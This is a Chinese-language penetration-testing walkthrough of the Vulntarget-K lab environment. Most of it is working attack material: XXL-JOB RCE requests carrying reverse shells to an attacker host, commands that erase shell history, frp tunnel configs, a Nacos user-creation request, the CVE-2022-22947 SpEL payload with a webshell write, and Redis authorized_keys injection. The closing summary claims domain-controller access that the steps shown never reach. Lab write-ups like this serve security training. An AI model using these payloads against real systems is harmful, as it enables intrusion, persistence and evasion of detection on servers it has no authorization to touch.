模拟实战靶标系列-vulntarget-k
字数 1409 2025-08-20 18:18:23
Vulntarget-K 渗透测试实战教学文档
1. 目标概述
Vulntarget-K 是一个模拟实战靶标环境,包含多个漏洞点和渗透路径。本教学文档将详细分析整个渗透测试过程,涵盖外网打点、内网渗透、横向移动和权限提升等关键环节。
2. 外网打点
2.1 信息收集
目标开放端口:
- 22 (SSH)
- 8081
- 8080
- 9999 (XXL-JOB)
2.2 XXL-JOB 未授权RCE漏洞
漏洞描述:XXL-JOB executor存在未授权访问漏洞,可导致远程代码执行。
利用步骤:
- 访问目标地址:
http://IP:9999/xxl-job-admin - 发送以下POST请求执行命令:
POST /run HTTP/1.1
Host: IP:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/攻击机IP/1234 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
- 攻击机监听端口:
nc -lvnp 1234
2.3 痕迹清除技巧
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;
export HISTFILE=/dev/null;
export HISTSIZE=0;
export HISTFILESIZE=0
2.4 交互式Shell获取
python3 -c 'import pty; pty.spawn("/bin/bash")'
export SHELL=bash
export TERM=xterm-256color
# 按Ctrl+Z
stty raw -echo;fg
reset
3. 内网渗透
3.1 数据库信息泄露
在获取的外网机权限中,发现xxl-job-admin-2.2.0.jar文件,解压后发现数据库密码:
- 用户名:root
- 密码:root_pwd
3.2 数据库利用
- 连接MySQL数据库:
mysql -uroot -proot_pwd
- 查询xxl_job_user表:
select * from xxl_job_user;
结果:
id | username | password | role | permission
1 | admin | 502e53a8aea0b1b0afcf5618d4702894 | 1 | NULL
- 添加新用户(密码123456的MD5):
insert into xxl_job_user (id,username,password,role,permission)
values (2,"admin1","e10adc3949ba59abbe56e057f20f883e",1,NULL);
3.3 通过XXL-JOB后台添加计划任务
- 登录admin1用户(密码123456)
- 新增任务计划,设置cron表达式为:
0 0 0 * * ? - 在GLUE IDE中写入反弹shell指令:
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/192.168.0.112/9999 <&1'
- 添加攻防计划任务
3.4 内网扫描
使用fscan进行内网扫描:
./f -h 10.0.20.0/24 -o res.txt
扫描结果:
- 10.0.20.130:8848 - nacos未授权漏洞
- 10.0.20.130:8800 - Spring-Cloud-CVE-2022-22947 / heapdump泄露
- 10.0.20.130:22 - SSH
4. 隧道搭建
4.1 一级隧道
服务端配置(Kali):
bindPort = 7000
客户端配置(靶机):
serverAddr = "192.168.0.112"
serverPort = 7000
[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 6001
[proxies.plugin]
type = "socks5"
4.2 二级隧道
二层代理配置:
serverAddr = "10.0.20.129"
serverPort = 7000
[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 6001
[proxies.plugin]
type = "socks5"
4.3 proxychains配置
socks5 192.168.0.112 6001
socks5 10.0.20.129 6001
5. Nacos渗透
5.1 未授权添加用户
proxychains curl -XPOST 'http://192.168.100.50:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
5.2 配置文件泄露
发现敏感信息:
- 数据库密码:Pabc@234%!
- Redis密码:nbsg@123456
- RabbitMQ凭据:
- 用户名:admin
- 密码:global2018
6. Spring Cloud Gateway漏洞利用
6.1 CVE-2022-22947
利用步骤:
- 创建路由执行命令:
POST /actuator/gateway/routes/test HTTP/1.1
Host: 10.0.20.130:8800
Content-Type: application/json
Content-Length: 325
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}",
"uri": "http://example.com"
}
}]
}
- 刷新路由:
POST /actuator/gateway/refresh HTTP/1.1
Host: 10.0.20.130:8800
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
- 访问路由查看结果:
GET /actuator/gateway/routes/test HTTP/1.1
Host: 10.0.20.130:8800
6.2 写入Webshell
修改value参数写入哥斯拉木马:
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","echo '恶意代码' > /path/to/shell.jsp"}).getInputStream()))}
7. Redis公钥登录
7.1 生成SSH密钥
ssh-keygen -t rsa -b 2048
7.2 写入Redis
(echo -e "\n"; cat id_rsa.pub; echo -e "\n") > key.txt
cat key.txt | proxychains redis-cli -h 10.0.10.134 -a "nbsg@123456" -x set bolean
7.3 配置Redis
proxychains redis-cli -h 10.0.10.134 -a "nbsg@123456"
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
7.4 SSH登录
proxychains ssh -i id_rsa root@10.0.10.134
8. 总结
整个渗透路径如下:
- 外网通过XXL-JOB未授权RCE获取初始立足点
- 发现数据库凭据并添加后台用户
- 通过计划任务获取稳定shell
- 内网扫描发现nacos和spring cloud服务
- 搭建多层隧道进行内网穿透
- 利用nacos未授权添加用户
- 利用Spring Cloud Gateway漏洞执行命令
- 通过Redis写入公钥实现免密登录
- 最终获取域控权限
关键凭证汇总:
- XXL-JOB数据库:root/root_pwd
- 其他数据库:root/Pabc@234%!
- Redis:nbsg@123456
- RabbitMQ:admin/global2018